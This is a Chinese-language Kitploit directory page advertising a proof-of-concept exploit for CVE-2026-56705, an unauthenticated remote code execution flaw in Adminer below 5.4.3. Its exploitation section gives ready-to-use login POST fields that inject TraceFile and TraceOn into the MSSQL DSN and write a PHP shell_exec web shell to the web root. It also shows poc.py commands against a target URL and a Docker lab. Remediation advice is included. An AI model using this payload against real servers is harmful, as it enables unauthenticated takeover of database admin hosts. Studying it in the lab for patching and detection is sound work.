Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-56705 — PoC 漏洞利用,针对 Adminer < 5.4.3 通过 MSSQL PDO DSN 注入实现未认证 RCE,包含 Docker 实验环境及反向测试。 | Kitploit
工具/GitHubGitHub/boreas37/cve-2026-56705
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队实验室与实践
GitHubboreas37/cve-2026-56705

CVE-2026-56705

PoC 漏洞利用,针对 Adminer < 5.4.3 通过 MSSQL PDO DSN 注入实现未认证 RCE,包含 Docker 实验环境及反向测试。

查看仓库
21天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-56705:Adminer < 5.4.3 — 通过 MSSQL PDO DSN 注入实现未认证 RCE

CVECVE-2026-56705
GHSAGHSA-r4x9-5m63-3vxw(厂商公告)/ GHSA-34q8-53jm-qc2r(GitHub 数据库)
产品Adminer(单文件 PHP 数据库管理工具)
受影响版本启用 pdo_sqlsrv + Microsoft ODBC Driver for SQL Server 的 Adminer < 5.4.3
修复版本5.4.3
CVSS9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
类型CWE-20 → 未认证任意文件写入 → RCE

摘要

Adminer 在构建 MSSQL 连接的 PDO DSN 之前,未能对用户提供的 server 字段进行清理:

root@kitploit:~
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
    list($host, $port) = host_port($server);
    return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}

server 中的分号被视为 ODBC 连接属性分隔符,因此未认证攻击者可以向 DSN 追加任意属性——包括 TraceFile 和 TraceOn。unixODBC 跟踪功能会将完整连接字符串(包含原样的 UID={username})写入 TraceFile,无论连接尝试是否成功,且在其之前。通过 username 字段注入 PHP 代码,并将 TraceFile 指向 Web 根目录,即可生成 Web Shell。

仅需一次未认证的登录 POST 请求即可完成利用。无需有效凭据,无需用户交互。

利用方式

root@kitploit:~
auth[driver]   = mssql
auth[server]   = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
  1. 登录 POST 构建 DSN sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
  2. ODBC 驱动管理器将包含 UID={<?php ... ?>} 的跟踪信息写入 /var/www/shell.php
  3. 连接失败(预期行为,无关紧要)——文件已被写入
  4. GET /shell.php?c=id → 命令执行

使用方法

root@kitploit:~
# 仅指纹识别
python3 poc.py --target http://target/adminer.php --check

# 完整利用(将 <random>.php 写入 Web 根目录)
python3 poc.py --target http://target/adminer.php --command "id"

实验室复现

root@kitploit:~
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id

实验室镜像完全复现了公告中的前置条件:php:8.3-cli + pdo_sqlsrv(pecl)+ msodbcsql18,Web 根目录对 PHP 进程可写。

修复建议

  • 升级至 Adminer 5.4.3+。
  • 如果无法立即升级:移除/阻止 mssql 驱动,或在反向代理层剥离用户提供的 server 值中的 ;(及空白字符)。
  • 作为纵深防御,限制 Web 根目录对 PHP-FPM/CLI 用户的写入权限。

致谢

厂商公告将发现功劳共同归于报告者与 Yashar Shahinzadeh(@voorivex)。

PoC 与实验室:Hamza Cagrici(@Boreas37)

时间线

日期事件
2026-08-25CVE 发布 / 在 Adminer 5.4.3 中修复
下载工具